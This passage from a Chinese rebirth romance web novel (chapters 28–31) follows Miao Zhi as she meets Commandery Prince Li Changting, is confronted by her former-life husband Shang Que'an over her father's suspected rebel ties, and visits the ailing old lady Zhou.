她虽想置他于死地,但逆谋,那是全家上下都得下狱的下场。
妧嵘走后,妧枝亦回了屋歇息。
天色晚重,只闻风轻。
第28章 私会。
接下来几日中,不知妧嵘是否真的被妧枝所说的话给吓着了,接连好些天都待在家中。
他日前向来喜欢应酬拜访,经常外出,这回除却上朝都闭门不出,也不接受旁人邀约了。
俨然一副规规矩矩在世清官的模样。
这倒是苦了妧酨,在官学越待时日越长,根本不敢提早归家。
一旦被妧嵘瞧见,就会让他到跟前待命接受教导。
平氏倒是颇为高兴,丈夫总是外出做客,总不在家中,她身为妇人,却像寡妇。
如今丈夫在家,即便没与她说几句话,却觉得安心了。
这日妧枝正在家中帮平氏绣花,上个月她用院子里的树做了梨花膏,已经叫多瑞拿到百姓中去卖了,挣了些富余。
而今梨花花期已过,等李含翎送来牡丹花,她又可以利用上卖其他的香膏了。
正在这时,婢女从门外进来,快步走向妧枝。
“女郎,家中来了客人,说是郡王府的下人,女郎可要接见?”
妧枝惊讶,在婢女脸上看到了同样的神情,郡王府?
是历常珽?
妧枝那日从濉安王府回来后,带回了被弄脏的衣裳,然而一直藏在袖子里的信却不见了。
她找了找,才察觉出应是在王府里就弄丢了,至于丢在何处,那就不晓得了。
应该就是她去过的几个地方。
没了信件,妧枝亦没想过主动找历常珽,此事本就蹊跷,那婢女引她到海棠春坞,那么隐蔽的地方。
纵然东西丢了,妧枝也不觉得可惜。
她可不是什么真正待字闺中,不通人情的少女,主母做久了,该有的防范还是有的。
“让他在厅堂等着,我很快就过去。”
多瑞代她回话,妧枝将手头上的绣花补好最后两针,收拾好物品,方才起身去往前厅。
郡王府的管事正在等候,妧枝一见,居然不是随便派什么下人前来,不由地问:“你是历郡王家的人?他派你来有何贵干?”
管事等了片刻,却不见不耐烦。
倒是恭敬有礼道:“贵干说不上,妧娘子客气了,在下的确是郡王家的仆人,为妨娘子疑惑,这是在下牙牌,可供娘子检验。”
妧枝接过看了一眼,确认他的身份,来路的确正当,于是交还给对方。
“那不知郡王找我,是有什么事?”
管事顿了顿,似是在想如何启齿,然后道:“妧娘子……可还记得周老太君?她日前突发隐疾,晕了过去。”
“好在当日身边有人照应,未曾离开半步,方才捡回了一条命。近些时日,老太君都在床榻上躺着,未能动弹……今日我来,是代郡王报答妧娘子的救命之恩。”
“若不是在王府,妧娘子提醒过郡王,只怕后果不堪设想……”
妧枝张了张唇,“那真是不幸中的万幸。”
她想,果然周老夫人就是濉安王妃那位突然离世的姑母。
只是这辈子还是发病了,能捡回一条性命,却是最好不过了,即便暂且下不了床,也强求不了太多。
管事叹息,然后说:“是啊……这些都是郡王交代,送来给妧娘子的谢礼,若有机会,他还想邀妧娘子去茶苑一聚,当面向娘子道谢。”
管事奉命而来,带了不少东西,妧枝定睛一看,都是价值不菲的东西,大多都是吃穿用度上的。
“郡王太过客气了。”
至于见面,周老太君既然身体不适,得了如此大病,妧枝自当去看她一回。
她道:“我知道了,郡王有邀,我定当赴约。”
得到回应,代表此事已经办妥。
管事便先告辞了。
等到多瑞将人送到门口,然后回来,“女郎,这些东西该怎么处置?”
妧枝:“放去库房吧,今日之事,暂且不要向阿父阿母他们提及,若是问礼,就说是周家老太君为答谢我送的。”
她还不想让妧嵘和平氏知晓她与历常珽有交集。
待到去看周老夫人那日,妧枝起了个大早。
平氏早已不与妧嵘同房,而今却是要早早起来为他洗手作羹汤,且妧嵘偏好的吃食,一向由平氏亲手伺候。
她看到妧枝来到伙房,两边袖子都卷起,露出白嫩的细腕,讶异道:“你这是来帮我的忙?我不是说了不用,你……”
妧枝道:“阿母,上回邀我去东林寺吃斋食的老太君病了,我想做些点心去看看她。”
平氏倒是记得此事,吃斋食那日,妧枝不在家中。
濉安王府的礼便送来了,然后他们又一同登门去吃了炙羊席。
没想到这位素未谋面的老夫人这就病倒了。
她惋惜,“那你做吧,可要做那等口软酥软些的,否则病了可尝不进去。”
妧枝:“就做两样素点心,多的留给家里吃。”
妧枝有一双巧手,她不是被宠大的,但平氏从来没真正让她吃过苦。
最苦最累最脏的都是由她自己干,从没有一句怨言。
平氏忙中觑了一眼正在揉面的长女,欣慰一笑。
她这一身白中透粉的好皮肉,像极了平氏记忆中的母亲。
纤纤玉指越发白皙。
不得不说,妧枝是最得她心的女儿,如果不是会忤逆她父亲就好了。
在她收回目光继续忙碌时,妧枝微微抬起了眼眸,她看着平氏,若要他们都不受妧嵘牵连。
也不知阿母是否愿意与妧嵘和离……
拆穿妧嵘养了外室的奸情,势必要大动干戈一番,到时候免不了叫平氏等人受累。
而想全身万无一失而退,只有等她挣够了资产,才能保他们一个安稳容身之地。
或者……寻一个更大的靠山。
点心做完以后,妧枝便带着吃的出门去了。
且不说周老太君能否进食,她总不好空着手去探望。
妧枝先去了管事所说的茶苑,因是去见历常珽,便不好用家里的车马,只能步行。
隅中之前,她找到了地方。
茶苑在上林坊的大街上,此处多是达官贵人出行之地,寻常百姓都不轻易过来。
街上的铺子亦都更加精细奢华,出入此地者身家都非比寻常,妧枝上辈子是做了濉安王府的大夫人,方能陪着濉安王妃来过几回。
如今她稍作打扮,但孤身一人,身边没有婢女和下人跟着,亦相当显眼。
往来街巷,或是铺子里的伙计和行人,都会多看她一眼,猜测妧枝身份,是哪家的娘子。
一直到妧枝停在木荷堂的门口,抬头仰望那块牌匾,以免认错了门。
伙计见她还带着东西,出来迎接,“客人是进来喝茶,还是有什么吩咐?”
妧枝看着伙计:“我与郡王有约,今日特地前来拜访。”
西南方向,有一处与木荷堂一样的华贵茶苑。
在楼阁之上的飞檐翘角下,伫立着一道负手而立的修长身影。
“商大人,据可靠消息,乱党贼子那边好似听得了一些风声,不知是我们身边人透露的,还是出了什么差错。”
“近来有好几位被盯梢的官员都一反常态,竟都不聚在一起,我手下人潜伏在其中一人府中,说是一个叫妧嵘的臣子,率先闭门不出,近来断了一切应酬。”
对方道:“我看,不如还是提前将他们一网打尽,未免夜长梦多啊。”
又有一道声音说:“眼下是打草惊蛇,还不到收网的时机,若不能将这背后掩藏更深的人连根拔起,那才是酿下不可挽回的大错。”
“还是先查清,妧嵘为何会先得知风声?亦或是我等手下出了叛徒再说。”
背后议论声不断,商榷安站在窗前,一直看到那道提着食盒,一身白衣赭红长裙的女子走进对面的茶苑。
眼皮方微微的掀了掀。
近来,朝中忽然出现一道弹劾他的声音,说他品性不端,出尔反尔,戏弄了无辜女子的感情。
不等商榷安去查是谁的手笔,自然会有上官来透露消息给他。
在炙羊席后,妧家一家回去,第二日听说这封弹劾就被呈到了圣上案上。
答案毋庸置疑,不管是弹劾还是风声,都与妧家脱离不了干系。
至于被盯上那么多天的妧嵘,竟能在当下反应过来,自然是有人提醒了他。
否则以此人的能耐,到死也绝无可能发觉他已经暴露了出来。
低眉墨眼觑着木荷堂的牌匾,商榷安想到那日夜晚,在庭院里打开的信件。
前世,历常珽有一段时日常常登王府大门,彼时商榷安的下属亦有将此事报给他听。
但当时商榷安并未在意,妧枝是安分的,当初说好她硬要进这个门,就要安分守己,如她承诺般做好一个夫人。
即便他们之间相敬如宾,商榷安都确信她不会做出那等有违宅门妇人的行径。
是以,他根本没有放在心上。
今生,多日之前,李屹其与妧枝相看,他在门口听得清清楚楚,言她攀炎附势。
其他暂且不表,如今亲眼所见,没想到这位前世妻子,也并不如意想中那般清高。
是又攀了什么高枝。
半刻过后,商榷安回头,与同僚道:“此事非同小可,我会亲手着办,就如方才所言。”
“只是一时打草惊蛇,对方并不知自己真的暴露了,待到时机成熟,再将他们连根拔起。”
“是,是。”
底下人应道。
商榷安眉眼淡道:“我还有事,诸位先行吧。”
茶苑里的人分别走出,过了许久。
商榷安也从里面出来,只是立在门口处,审视地看着眼前茶府。
第29章 独处一室。
木荷堂内,妧枝跟随引领的伙计穿过茶桌厢房,径自来到一间屋子前。
伙计道:“娘子请先坐着喝茶,我这就去禀告郡王你来了。”
妧枝环顾四周,附近走廊上除了摆放的盆栽,别无他人路过,中间是个露天的空庭,晴可日照,阴可通渠。
此时阳光正好照在下面水池的花草上,泛起粼粼波光。
妧枝正要推门进去,就被身后一道声音叫住,“妧娘子。”
历常珽从她背后过来,隔着几步之遥看着她。
“你来了。”
“妧枝见过郡王。”
她向下行礼,姿态窈窕,历常珽未曾挪开目光,就这般盯着。
直到妧枝察觉氛围有几分怪异,这才听见历常珽道:“不必客气,快起来吧,我们进屋说话。”
既然主人家一来,妧枝便让开到一旁,等着历常珽开门进去。
她等对方到了屋中,才在目光示意之下迈开步伐。
进来之后,历常珽对她身后的下人道:“快去奉茶,再送一些茶点过来。”
“坐吧,妧娘子。”
妧枝依言来到历常珽面前,她将手中的食盒放在桌上。
“这是?”
“这是我为老太君做的点心,听闻老太君病了,我想登门探望,这才带了这些东西来。”
妧枝打开让他看看,历常珽所见,妧枝所带的点心不见荤腥,极为清淡雅致,他不禁问:“这都是你亲手做的?还是……”
妧枝:“是我亲手做的,这些都是我阿母教我的手艺,郡王觉得这些给老太君尝尝,可谓合适?”
历常珽仔细观察她的手,妧枝的指甲修剪的整齐而干净。
她不是养在闺中的那等大娘子,还会帮自己劳累的母亲分担,极为懂事理。
而今,不过是因为他传话给她,祖母病了,她便这样有心,亲手做了吃的送来。
点心精致,看起来新鲜,可见应是一大清早就起来忙碌了。
而这些,都不过是为了一个才见过两次面的老妇人……
历常珽盯着妧枝手的眼神,已然悄悄变了。
“自然无有不妥,你的心意很好,多谢你了。”
妧枝:“郡王客气了,老太君对我一见如故,是个宽宏慈爱的长辈,她忽然生此大病,我却帮不上忙,只能这般尽一尽绵薄之力。”
“休要妄自菲薄。”
历常珽看着她,“当初在小姨母府上,若不是妧娘子好心提点我,还不知祖母身体抱恙,能否保住性命都难说。你可是立了大功的。”
“大夫说,若不是有人在身旁照料,待他赶到祖母说不定就要去了。我才是,不知道如何感谢妧娘子你才好。”
妧枝:“感谢倒是不必,郡王已经遣人到家中送了太多礼,我不过是察言观色多了句嘴,实在不敢居功。”
“而今心愿,只期望老太君尽早无病无痛,快些恢复。”
“你……”
妧枝进退有度,历常珽思量道:“你实在太善了,妧娘子果然如祖母所言,是个极好的人。”
“若今日换成旁的,只怕早已经期望我能允诺他些什么了。”
他同她笑笑,之前保持距离的架子好像都被卸下来,不管是语调还是语态,都温和不少。
想来周老太君对历常珽来说十分重要。
据妧枝了解,他二十多岁时,生父生母因为游历在外,听说是在一处山上,因天象有变,引发山崩。
导致这两位长辈都在天灾中丧生了,家中便只剩他一个独子,周老太君对他一直放心不下,十分照顾。
这祖孙二人感情深重,无怪乎历常珽会对她这么好态度。
历常珽忽然正色道:“但我方才说过的话是真的,若你有什么所求,需要什么帮助,只管与我道来,有能帮的上的,我定能尽我所能为你解决麻烦。”
妧枝仔细观察他,忽而沉默下来。
她相信历常珽所言不假,他出身富贵,受过良好的教导,身份地位都在她之上。
若想做点什么事,都易如反掌。
有那么一瞬间,妧枝甚至考虑是否要将自己扳倒妧嵘的计划脱口而出。
然而,就在下一刻,她含笑道:“那我就收下这个人情了,待有机会再劳烦郡王。”
诚如历常珽是个有身份的权贵,但若请他帮了忙,便是将他拉到她这个混杂的池水中。
妧枝不想牵连到别人。
妧家的事和其他人没有半点干系,何必让历常珽来蹚这糟污水?
况且,他们之间,对方雪中送炭。
而她报一命之恩,他们间的因果已经偿还清了。
历常珽无需再为她多做些什么。
“不知我们什么时候去拜访周老太君?”妧枝转移了话题。
落在历常珽眼中,便是她眼下与他交情匪浅,女子家有女子家自己的矜持,不会轻易有事找他。
于是不再强求。
配合道:“我与甘家那边已经传了话,这就可以出发了。妧娘子,我们走吧。”
妧枝随同历常珽起身,待到她要拿起桌上的食盒时,不想对方快她一手,笑着道:“还是我来吧。妧娘子提了一路,该由我来代劳了。”
二人从屋子里出来,站在走廊,正要穿过正堂。
下一刻,茶苑里的管事模样的人忽地过来,有事要禀告历常珽。
“郡王……”
历常珽含有歉意道:“稍等我片刻,我即刻便回来。”
妧枝目送他跟管事离去,却还不忘带上食盒,登时追了两步,“诶……”
然而历常珽未曾察觉,与管事说着话走远。
未免打扰到他们,妧枝还是停了下来,然后慢慢回到原先的地方。
她踩着台阶上去,垂着眼帘,望着地面,直到一双脚出现在视野,寸步不让地挡在她跟前。
妧枝抬眼一看,便惊愣住了。
一身清雅锦衣的商榷安负手而立,神情肃穆居高临地下打量着她。
妧枝愣然,然后蹙眉:“怎么是你?”
她似是很不希望再见到他。
说好大家各走一边,商榷安却屡屡出现在她跟前。
“很遗憾,我并非是妧娘子所期待的男子。”冷淡的言语,从薄情而冷酷的唇中吐露,商榷安看妧枝的眼神,俨然在看一个又攀炎附势的女子。
如同前世。
“不过在下有事,想请妧娘子借一步说话。”
明明是上辈子的夫妻,即便今生重新见面,商榷安待她,却装作陌生,假惺惺地称呼。
妧枝更加冷声道:“不去,走开。”
未料想,得到她呵斥的商榷安却是一言不发,默然地看着她。
然后在妧枝想要调头从另一旁走掉时,忽而伸手将她拽住,默不啃声地便将她拉走。
妧枝一惊,根本不相信这是商榷安能做的事。
他竟然碰她了。
上辈子,他们之间竭力保持着距离,夫妻间生疏而客套。
前几年,在濉安王和濉安王妃的督促下,商榷安不得不与妧枝圆了房,之后一年之内他们同床的次数屈指可数。
他不一定会碰她,哪怕同一张床榻,亦可能是同床异梦。
或是侧躺着背对着她而眠,平日里称呼都不会叫她“夫人”,而是“妧氏”。
而今他们都重生了,彼此故作不认识,商榷安的称呼也就更加生疏起来,叫什么“妧娘子”。
即使如此,妧枝还是觉得不可思议。
并感到荒唐至极,厉声斥责,“够了,我乃待嫁之身,还请郎君自重,别污了我清白。”
然而商榷安对她的抗拒置若罔闻,并且一意孤行将她拉到一间空无一人屋子,将她推到了里面。
然后以睥睨倨傲的气势,挡住门口进来。
屋门一关,只有窗外的光影照亮这里。
正巧外面此时有人走过,闲谈的说话声让屋内气氛更加幽静。
妧枝摸着被拽疼的手腕,焉知商榷安用了多大的猛力,像铜墙铁骨一样,只是掀起衣袖一看,就知皮肉都红了。
他对她从不怜惜,妧枝轻咬住下唇,神情隐忍,眼眶微润。
“你到底有什么事要说?”
商榷安听到了她语调里的颤音,目光落在了那张湿润而透亮的眼眸上,她的眼尾泛起一层宛若胭脂的浅红色。
像要因他这样霸道而无礼的举动给气哭了。
而她手搭着另一只手腕,清晰可见他在那上面留下的指印。
商榷安淡淡道:“抱歉。”
妧枝微微睁大了眼,怒视他,商榷安越是霸道,便会越是客气。
而她并不稀罕他的道歉,“你怎么可以这般对我?”
“商榷安,你我都已经重头来过,互不相扰,你今日这般来找我,难道不怕商娘子知道?你置她于何地?”
商榷安未露一丝心虚,他似不觉得自己做派有问题,理所当然道:“我并没有对你怎么样,与唯真也没有干系。”
就算告诉唯真,他和妧枝都是清白的,又如何能污蔑了他。
妧枝冷笑,也只有商榷安会自欺欺人。
眼下他们独处一室,她还是被商榷安亲手抓来的,就算没什么,只要让人看见了,谁敢保证没有流言蜚语传出去?
妧枝撇开头,放下袖子,就是不看他,似是眼不见为净。
很快,她便调理好自己,眉色也变得越发冷清。
轮到她变得不发一语。
商榷安俯瞰这样的妧枝,她靠近屋中最里面的一角,像是故意与他拉开距离,光影打在她柔顺乌黑的发上,发簪轻简,腰身更为纤薄。
宛若一株傲然嶙峋的花枝,与旁边雪白干净的花瓶相得益彰。
他敛下眼帘,不该再继续打量下去。
酝酿片刻。
再抬眸,已是清泠幽邃的一片黑,盯着妧枝质问:“炙羊席之后那日,你是否与妧嵘说了些什么不该说的?”
“你从前世回来,既然不再与我相看,应是终于明白你我之间不适合做夫妻。那你应当还记得上辈子的一些事?”
“你是故意提醒妧嵘,朝中有人在查他是否与乱党勾结。怎么,你想保他?你忘了,他上辈子做过什么了吗?”
“回答我,妧枝。”
商榷安倏然叫了她的名字,仿佛已经不满她这副置若罔闻的模样。
而被念到名字的妧枝,也骤然朝商榷安瞪过来,那双明媚的眼眸,蕴藏着一股难以言喻的忧伤,如潮水涌泄过来。
明明什么都没说,却莫名感到伤怀。
第30章 忠告。
那双仿佛盈满水雾的眼睛里,有愤然,有不快,以及难以平衡的怨憎与悲哀。
妧枝就那样不言不语地盯着商榷安,那一刻她神情衰败得让人心惊,面容如同失去血色,单薄到透明。
“原来你也知晓他做了什么?既然你都清楚为何还要过来问我?”妧枝的声音冰凉的似乎心上被剜去一块。
“不如你来说说,我这一世是想他死,还是力保他安稳的活?”
上一世妧嵘做的那些事,让他们家破人亡,商榷安竟然还敢质问她前世这些回忆。
她盯着他的眼睛,商榷安分毫不避,与妧枝对视,她问:“你当初既然选择袖手旁观,今日为什么不继续这般下去?”
“我没有与你对峙,不问你一丝一毫,你却不肯放过我?”
“你到底,有没有心。”
身为妧家的女婿,即便妧嵘有诸多不好,他是罪大恶极,有那样的下场也都罪有应得。
但是,她阿母呢?妧柔和妧酨呢?
商榷安未曾如她所料那般无言以对,且不见分毫愧色,他注视妧枝的双眼视线极为沉默,而是在她情绪可见稳定后,方才说:“你好像对诸多事都有误解。”
“上辈子发生的那一切,并非是因我而造成的。妧嵘在你出嫁之前,就已经暗中与乱党有牵连。既然他选择了这条路,就注定了你们妧家会万劫不复。”
不管是平氏抱病也好,还是妧嵘最后被人保下,革了官职,与别宅妇同住。
这些都与商榷安没有半点干系。
“那妧酨呢?他那么崇敬你,叫你姐夫,你既然早已知晓和妧嵘来往的妇人是谁,为什么当初却半点风声都不透露给我?”
妧枝冷声,“我阿弟又有什么错?他后来变成傻子了,大冷天跌进水里,他的头颅受伤,烧坏了脑子,连人都不记得了。你是不是很高兴,终于没有一个惹人厌的妻弟,不亦乐乎的叫你‘姐夫了’?”
“还有妧柔,她像我这般大的时候,她本该相看一门好人家,安稳度过一生,却因为家境而惨遭欺凌。”
“我阿母常在我跟前念着你的好,你是她最得意的女婿,她宁愿责怪我都舍不得说你。你告诉我,她们又有什么错?”
面对妧枝的一声声质问,商榷安依旧是默然以对。
回想从前,妧枝所说的妧酨在商榷安眼中,的确很是烦人。
说是妻弟,连妧枝都非是他心中所想要的妻子,又如何会去爱屋及乌在乎一个陌生儿郎的死活?
每次妧酨唤他姐夫,唯真都会强颜欢笑看着他,就如同提醒商榷安,他背叛了和她的承诺。
此人往常被妧嵘训斥,都会察言观色,然而到了他跟前,却跟没皮没脸起来一样。
什么谄媚奉承,商榷安这辈子遇到这样的人不知凡几,如果不是妧枝,妧酨这般愚笨的东西根本不可能出现在他跟前烦扰。
至于平氏和妧柔。
商榷安收回神思,他睇视着妧枝,“你母亲因妧嵘的事备受打击,不肯和离,她常年遭受恫吓心神俱损,会撑不住亦是正常。”
“妧柔是你阿妹,只要这辈子,你看着点她,必然不会让她重复曾经惨剧。曾经发生过的,我只能告诉你,节哀。”
……
妧枝轻嗤一声,几乎笑出了声,她冷冷笑看着商榷安,忽然,眼角滑落过一丝泪。
她却毫无所觉,笑得连胸脯都咳嗽起来,然后拭去那抹仿佛根本不存在的痕迹,轻淡道:“你果然是个没有心的人。”
“不愧是商密使,既然你都这么说了,那我也没什么与你好商谈的。”
商榷安看她咳的面目通红,又哭又笑,不过下一刻神色又恢复自如,清冷而婉约,不由地拧了下眉头。
最后道:“我方才与你说的,不要再继续插手妧嵘的事,你改变不了他的。与其帮你父亲,不如早日助你阿母解脱。”
妧枝冷漠不语。
她看起来像是对商榷安说的任何话都一副无甚所谓的模样。
她理了理衣裳,发鬓和头饰,准备越过他走了。
然而就在经过的一瞬间,却被商榷安拽住了衣袖,他没有回头看她,道:“除了你弟妹和你阿母,不要再多管他人的闲事,不管你记得上辈子多少事情,任何人,听懂了吗。”
能重生回来,说给世人听,都是一桩光怪陆离的奇谈。
能知晓上辈子的痕迹的,除了他,没想到还有妧枝。
怀揣这样的惊世秘密,商榷安注定要有一番大作为,他这样的治世之才,上辈子就仕途顺畅,力压群臣。
而今更不消说,朝堂之争,一切尽在他掌握之中。
可谓之,他的命数,便是朝堂的命数。
而这样的人,还有第二个。
妧枝。
商榷安不希望她因上一世的纠葛而扰乱这一世的轨迹,没接触过朝堂,甚至也许会因她自己贸然插手而导致不好的影响。
他希望她能有自知之明,能珍惜这来之不易的这一世。
否则,她若反其道而行之,只会落得比上辈子还不如的下场。
“听懂了吗。”他低头垂眸,看向妧枝。
然而身边的女子始终未曾抬一下头,连声都不出,沉默着,只冷冷地从他攥紧的手里抽出袖子。
第一下,妧枝未曾拽动。
第二三下,片刻过后,妧枝方才感觉到商榷安微微松开了手。
她飞快整理好自己。
二人保持着互不相见的态度,一个岿然留在原地,一个漠然往门口走去。
屋门一径推开,妧枝跨过门槛出去。
待到呼吸到外面的空气,她才好似得到喘息。
只是在往走了几步之后,似是遇见什么人,妧枝与其四目相对,当场愣在原地。
……
屋中,仿佛若有所觉。
在等待了稍息之后,没再听见有其他动静,商榷安缓缓靠近门口。
不过余光一瞥。
就看到面对面,如若保持静默距离的一对男女。
而很快,女子跟前的男子忽然向更前方走近,等去到女子身边时神色有所停顿,然后抬起了手,仿佛是想碰触。
然后在发现了什么之后,遽然朝他这边抬头看了过来。
历常珽找了片刻妧枝,未曾想过她是从一间平常没什么客人的茶室里出来。
见到他,妧枝似是十分惊讶。
找到佳人,历常珽挺起胸膛,彻底松了口气。
他手中食盒尚在,一直不知妧枝去哪儿了,木荷堂乃是他母亲留下的遗产,索性是在自己的地方。
他只是觉着纳闷,便吩咐人都去找,直到此刻,他担忧而欣慰地上前,“妧娘子,久等了吧?”
他什么都没有怪罪,或是认为妧枝乱跑。
而是道:“是我不好,茶苑下人出了点差错,我去处置了一会,不是故意让你一人在此等候的。”
因商榷安的缘由,妧枝被他带离了本该待的地方。
历常珽却未责怪妧枝不应该乱跑,反倒认为是自己倏忽了。
他眼眸一扫,在靠近后观察到了妧枝的泪眼,那并不算得上多明显。
只是眼角一点微红,眼眶如染了雾水般湿润。
她的表情冷冰,甚至麻木到绝望,好像有一股无法与之抗衡的疲累席卷了她。
但她挺傲的身姿,又说明了她不需要值得可怜。
“妧娘子,你……”
历常珽察觉出了妧枝的不同,他不禁担忧地又上前一步,只差咫尺之离。
就在下一瞬间,他回想起刚才看到妧枝出来的方向,于是顺着她身侧的位置瞧去。
此时,宛如验证他的所想。
一道高大清瘦的阴影出现在门旁,随着对方踏出的脚步,历常珽也因此看清了对方的面容。
赫赫有名如商榷安,这位少时就被封为状元郎的枢密院事,他生得眉骨清隽,眼眸凌厉,整个人如霜降一般。
就这么从刚才妧枝出来的地方亦踱步而出,甚至不加掩饰,没有分毫慌乱镇定自若地停下脚步,面无表情地朝他们睇过来。
眼神平静而幽深,并没有起什么波澜。
若不是亲眼所见,还要以为刚刚与妧枝共处一室的不是他了。
在商榷安出来后,妧枝与历常珽看着他过来,等到他逐渐走近后,妧枝将脸扭到了一旁。
肉眼可见是不想面对那道人影。
在商榷安走近后,妧枝已经是背对着他的画面,而仿若不引人注意般,商榷安眼中,历常珽不易察觉地将那个倩丽的身影,以护住的姿态把人往他身后藏了藏。
商榷安目光很快转到历常珽身上,这个异姓郡王,有祖荫庇佑,袭承了上一代的爵位,本身倒也是个极少数的人才。
只是历常珽更加淡泊名利,无心于朝堂,而今除了爵位,只在朝堂担任了一个小职位,便醉心自己的风雅之事去了。
可以说是远离了纷争,颇为不惹尘事的一个人。
二人交情不深,商榷安自小不在京中长大,混迹于乡野,哪怕他曾出身王府,贵为过大公子。
在被送养给濮国公商朔之后,就在濉安王府里查无此人了。
在他眼中,历常珽与李家那几个弟弟没什么区别,都是不被牺牲却受尽宠爱的王孙公子。
而他是云上月,也零落碾成泥。
可不敢与这些王孙们,称兄道弟。
二人可谓是旁亲,却在眼下因为躲在背后的女子,冷淡以待。
相见不相识,气氛颇为古怪而诡异。
就在历常珽想要张嘴,提醒商榷安不应该这样无礼,凝睇一个和他弟弟有婚约的待嫁女子之时。
只见商榷安冷眉冷眼地忽略了他,直接开口,竟当面称呼其大名,“妧枝。”
被挡在郡王背后的妧枝不肯回头,此刻更看不到她的脸,是否又被悄无声息的泪水打湿。
眼尾被晕染红。
她的背影无动于衷。
不顾还有另外一个人在旁边,商榷安视若无睹,直截了当道:“不要忘了我给过你的忠告。”
气氛静默。
无人应答。
既然接近不了那道身影,他也不再强求。
而是与历常珽平静地觑看一眼,然后商榷安什么都没说,便挺拔着身姿绕过他们,从走廊处出去了。
30-40
第31章 撮合。
待商榷安走后,妧枝方才转过身。
令人惊讶的是,她并没有在伤心落泪,而是眼皮处有一圈隐忍的微红。
她神情自若,眉眼积攒郁色,与关心地注意她的历常珽对视,淡然说:“让郡王见笑了。”
商榷安刚才当着第三人的面,竟直白的就那样开口告诫她,换做任何女子,已经在此刻感到失去颜面,难以抬头了。
然而妧枝竟还能笑得出来,俨然云雨过了巫山的样子。
风轻云淡。
可惜,历常珽却非是那等真正不知世事的男子。
他不过转念便想起曾经周老太君和他说过的事情。
妧枝为何会与商榷安认识?
那是因为曾经与商榷安是议过亲的。
且是在三郎四郎之前,只是他对妧枝无意,所以才将人选换成了三郎四郎。
而今,历常珽陡然撞见他们有交集的一幕,虽感到疑惑,却不代表他们从来没有纠葛。
还是有一丝曾经议亲对象的联系。
他斟酌片刻,终于还是问了出来:“何为忠告?”
王府要给家中子弟定下婚配对象,商榷安不仅不满意妧枝,还说即使嫁给他,妧枝也只有守活寡这一条路。
眼下妧枝已经并没有再婚配给商榷安了。
既然如此,那他为何还要咄咄逼人这般对待一个女子?
于此,历常珽更加蹙起眉头,“是不是因为三郎四郎,他与你说了什么,欺负了你……”
诸如,与他议过亲,便不可再与三郎四郎在一起。
妧枝不答,历常珽便只有往这方面作想。
然而妧枝却道:“什么都没有。”
一瞬间,历常珽讶异地看着她。
若她懂得,此刻应当适时向他求助,将全情通通毫无隐瞒地告诉给他。
可是这个女子和他所想的太不一样。
商榷安不肯与她议亲,在濉安王府即使面对面,她没有哭。
而今被对方告诫上,亦没有露出天塌了,委曲求全的哀怨神情。
而是眸光明澄,满是赤诚,同历常珽叮嘱,“我之所以难过,那是因为想起曾经许多往事,与其他人并无半点关系。”
“我知郡王许是觉着很不解,但这是我惹上的麻烦事,并不希望牵扯到无辜的人。”
“方才那句话对我并无多少影响,我自己就能够解决,郡王可不必为我忧心。”
她因商榷安的这副态度,反倒更开心。
他决绝,她未尝不是孤注一掷之人。
她庆幸他并未因为这一世,大家同样重生,他便对她改变了态度,亦或有一丝追悔或怜悯。
而她更高兴,有重来的机会能与这样的人博弈。
妧枝不相信这一世她会输。
终有一日,她会在那双眼睛看到一丝惊异。
而她亦将不会再追究过往,只会是放眼将来。
她意志坚定,即便有脆弱也不过显露在片刻间,很快又消失不见。
历常珽目光暂且无法从这样的女子身上挪开,但他知晓这样的注视充满冒犯,于是只得微微低垂下视线。
在妧枝坚持下,他还是没有再继续追问下去。
而是觑着女子赭红的裙裳,语气分外不同和郑重,道:“好。”
“可,即是麻烦,常珽便见不得让妧娘子一人承担,妧娘子帮了我一个大忙,即是救了祖母,就是救了我的性命。若无祖母,我常珽今后变成了真正的孤家寡人,所以本王着实欠你良多。”
“今后,若有需要我力所能及之处,尽可直接向我开口。本王定然倾尽全力,为妧娘子解决。”
妧枝怔然,想不到历常珽会许下如此郑重的承诺。
她不过是心绪难解,才无法再当下的心境中,对其他人脱口道出自己的为难之处。
也是为自己保存一份颜面。
结果,这位郡王居然当真没有勉强和继续追问她的窘迫。
妧枝顿时感到如释重负,“多谢,我会的。”
即便是好意与关心,也非是人就能在下一刻毫无准备的接受。
在察觉出她心绪平复之后,历常珽已经从妧枝身上感受不出那丝隐隐勃发的伤心郁愤。
只有坦然和坚定。
他按下窥探的欲望,更见识到了这位妧娘子的不同,道:“外面车马已经备好了,时辰不好再耽误,还请妧娘子这就同我去看看祖母吧。”
妧枝点头,“请。”
说罢,二人重新出发,一起结伴出了茶苑大门。
周老夫人自上次晕倒之后,醒来便一直用参片吊着气。
经过大夫和甘家倾尽全力耗尽药材的苦心医治,而今终于有了些许好转,已经慢慢能下榻走动了。
春日,甘家府上的管事穿过庭院,找到在园子里被搀扶着散步的周老夫人,向她禀告,“老太君,有客人来看望您了。”
周老夫人出身不差,亦称得上高门贵女。
嫁到甘家后,丈夫虽未能入仕,但生的女儿和儿子却颇有作为,一个嫁给了异姓王,一个也已入朝为官。
她病倒,到让周围一片亲眷都颇为担心,是以这些时日来看她的人并不少。
她已习惯了今日不知是哪位熟人来探望了。
然而,见到妧枝,她还是惊讶不已。
那年轻的小女子在历常珽的带领下,提着食盒,款步窈窕地从小桥上朝这边走来。
这日屋外风大,园子里景色不差,细梁高檐,红绿参半。
风一吹,衬得她腰肢越发纤细了,也单薄透了。
可在高大男子的身影身边,无论气态还是身姿都透露出无可比拟的悠然稳重。
周老夫人几乎越瞧越满意了,甚至在下人的面前,就已经克制不住盯着与历常珽在一起的妧枝,满怀微笑,欣赏的不断点头。
妧枝再次见到周老夫人,已是没想到她气色如今已经大变,远不如从前。
她有种人死将至的虚败弱气,但还保留了一条命,如残喘般一时还不会到寿命终结那一日。
只是脸上血色减去,再恢复不到从前那样红润,但她看妧枝的眼神,始终祥和慈爱。
“老太君。”妧枝与历常珽一同来到她跟前。
“妧枝见过老太君,听闻您抱病,实在担心。不能为老太君做点什么,只能带了些点心过来尽一点心意。”
周老夫人扶起向她行礼的妧枝,看向历常珽。
“祖母。”
历常珽十分有眼色地将妧枝手上的食盒接过去,旁边附近就有一张石桌,周老夫人抬了抬下巴,吩咐,“过去,我们坐下说。”
她拉着妧枝的手,也不让婢女来搀扶,而是让妧枝接替了婢女的位置,更为依赖她一般。
待到坐下以后,方才亲昵地拍着妧枝的手背,观察一番,“你真是客气,这哪里一点心意,待嫁闺中的小娘子,本该不沾春水,你却为了我亲自下厨,我老婆子这是有福。”
而今在周老夫人眼里,妧枝已是极为心灵手巧的小娘子,她贤惠心善,还懂得感恩。
